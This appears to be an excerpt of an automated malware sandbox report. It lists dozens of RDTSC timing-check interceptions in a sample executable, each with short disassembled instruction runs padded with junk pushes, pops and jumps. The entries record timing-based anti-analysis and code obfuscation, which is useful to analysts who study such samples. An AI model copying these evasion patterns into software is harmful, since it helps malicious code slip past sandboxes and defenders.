Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B530A1 second address: B530AB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B530AB second address: B530D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Dh 0x00000007 pushad 0x00000008 jmp 00007F62F943B883h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C1D69B second address: C1D6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C1EBF8 second address: C1EBFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C23629 second address: C23640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C23640 second address: C23657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F62F943B876h 0x0000000a jc 00007F62F943B876h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C32CC8 second address: C32CCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34ECB second address: C34ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34ED1 second address: C34ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34ED7 second address: C34EEE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62F943B87Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34EEE second address: C34EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34EF2 second address: C34F0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F62F943B883h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C349E8 second address: C349EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C349EC second address: C349F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C349F8 second address: C349FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C349FE second address: C34A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Ah 0x00000007 jns 00007F62F943B876h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34A16 second address: C34A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B19Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34B62 second address: C34B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34B66 second address: C34B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34B6A second address: C34B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F62F943B876h 0x0000000d jmp 00007F62F943B882h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34B8B second address: C34BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F62F8C4B1AAh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34BB0 second address: C34BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F62F943B876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C34BBC second address: C34BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C3D7F4 second address: C3D800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C447F6 second address: C447FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C447FA second address: C44804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4B83F second address: C4B867 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F62F8C4B196h 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b jbe 00007F62F8C4B196h 0x00000011 jno 00007F62F8C4B196h 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b jg 00007F62F8C4B19Ah 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4B867 second address: C4B86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4B86D second address: C4B88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4B88B second address: C4B88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4BBB0 second address: C4BBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4BBB5 second address: C4BBEC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62F943B87Ch 0x00000008 jno 00007F62F943B87Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F62F943B891h 0x00000016 jmp 00007F62F943B881h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4BEAD second address: C4BEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F62F8C4B1A8h 0x0000000a jno 00007F62F8C4B196h 0x00000010 pop edx 0x00000011 push ecx 0x00000012 ja 00007F62F8C4B1AAh 0x00000018 jmp 00007F62F8C4B1A4h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4BEEF second address: C4BF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B87Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C07D second address: C4C081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C081 second address: C4C08B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C08B second address: C4C09F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C09F second address: C4C0A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C0A3 second address: C4C0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F62F8C4B196h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C0B5 second address: C4C0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C0D6 second address: C4C0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C4C0DA second address: C4C0DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C509E5 second address: C509EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C509EB second address: C509EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C50654 second address: C5066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F62F8C4B19Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C5066A second address: C5066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C5066E second address: C50674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C5B0EE second address: C5B0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C61FB3 second address: C61FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C61FB9 second address: C61FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C61FBD second address: C61FD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C5EE7C second address: C5EE86 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C5EE86 second address: C5EE8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C6FCC2 second address: C6FCC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C86436 second address: C8643B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C8643B second address: C86465 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 jmp 00007F62F943B886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 ja 00007F62F943B876h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C85BB0 second address: C85BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C85D38 second address: C85D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C86006 second address: C8602B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F62F8C4B196h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F62F8C4B19Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F62F8C4B196h 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C8602B second address: C86043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B884h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C86043 second address: C8604B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C88D39 second address: C88D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F62F943B878h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C88D49 second address: C88D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F62F8C4B196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C88E59 second address: C88E8E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F62F943B881h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F62F943B886h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C88E8E second address: C88E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C8A5F3 second address: C8A5FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F62F943B876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C8A5FF second address: C8A603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C8DE7B second address: C8DE81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B9F64D second address: B9F65A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5030380 second address: 50303A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50303A3 second address: 50303E7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F62F8C4B1A9h 0x00000008 sbb ax, D936h 0x0000000d jmp 00007F62F8C4B1A1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 mov dl, F0h 0x00000018 pop eax 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, 0617h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50303E7 second address: 50303EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50303EC second address: 503041C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62F8C4B1A5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 503041C second address: 503046F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F62F943B883h 0x00000015 adc eax, 476BD1DEh 0x0000001b jmp 00007F62F943B889h 0x00000020 popfd 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 503046F second address: 5030475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5030492 second address: 5030496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5030496 second address: 503049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 503049A second address: 50304A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50304A0 second address: 50304B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 41E5CF4Ch 0x00000008 mov dl, 94h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 mov edx, 7078BC5Ah 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50304B9 second address: 50304D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B887h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50304D4 second address: 50304D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 505068C second address: 50506CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62F943B881h 0x00000009 and cx, 08C6h 0x0000000e jmp 00007F62F943B881h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov si, 006Fh 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 mov bx, 8FFEh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50506CF second address: 50506D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50506D5 second address: 50506D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50506D9 second address: 50506F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F62F8C4B19Ah 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50506F4 second address: 50506F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50506F8 second address: 50506FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50506FE second address: 505074F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F943B882h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F62F943B889h 0x00000017 sbb esi, 35958E46h 0x0000001d jmp 00007F62F943B881h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 505074F second address: 505081F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F62F8C4B19Ah 0x00000008 pop ecx 0x00000009 jmp 00007F62F8C4B19Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F62F8C4B1A9h 0x00000017 xchg eax, ecx 0x00000018 jmp 00007F62F8C4B19Eh 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F62F8C4B19Eh 0x00000025 jmp 00007F62F8C4B1A5h 0x0000002a popfd 0x0000002b mov di, ax 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F62F8C4B19Dh 0x00000035 xchg eax, esi 0x00000036 jmp 00007F62F8C4B19Eh 0x0000003b lea eax, dword ptr [ebp-04h] 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F62F8C4B19Eh 0x00000045 jmp 00007F62F8C4B1A5h 0x0000004a popfd 0x0000004b popad 0x0000004c push ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F62F8C4B1A4h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 505081F second address: 5050823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050823 second address: 5050829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
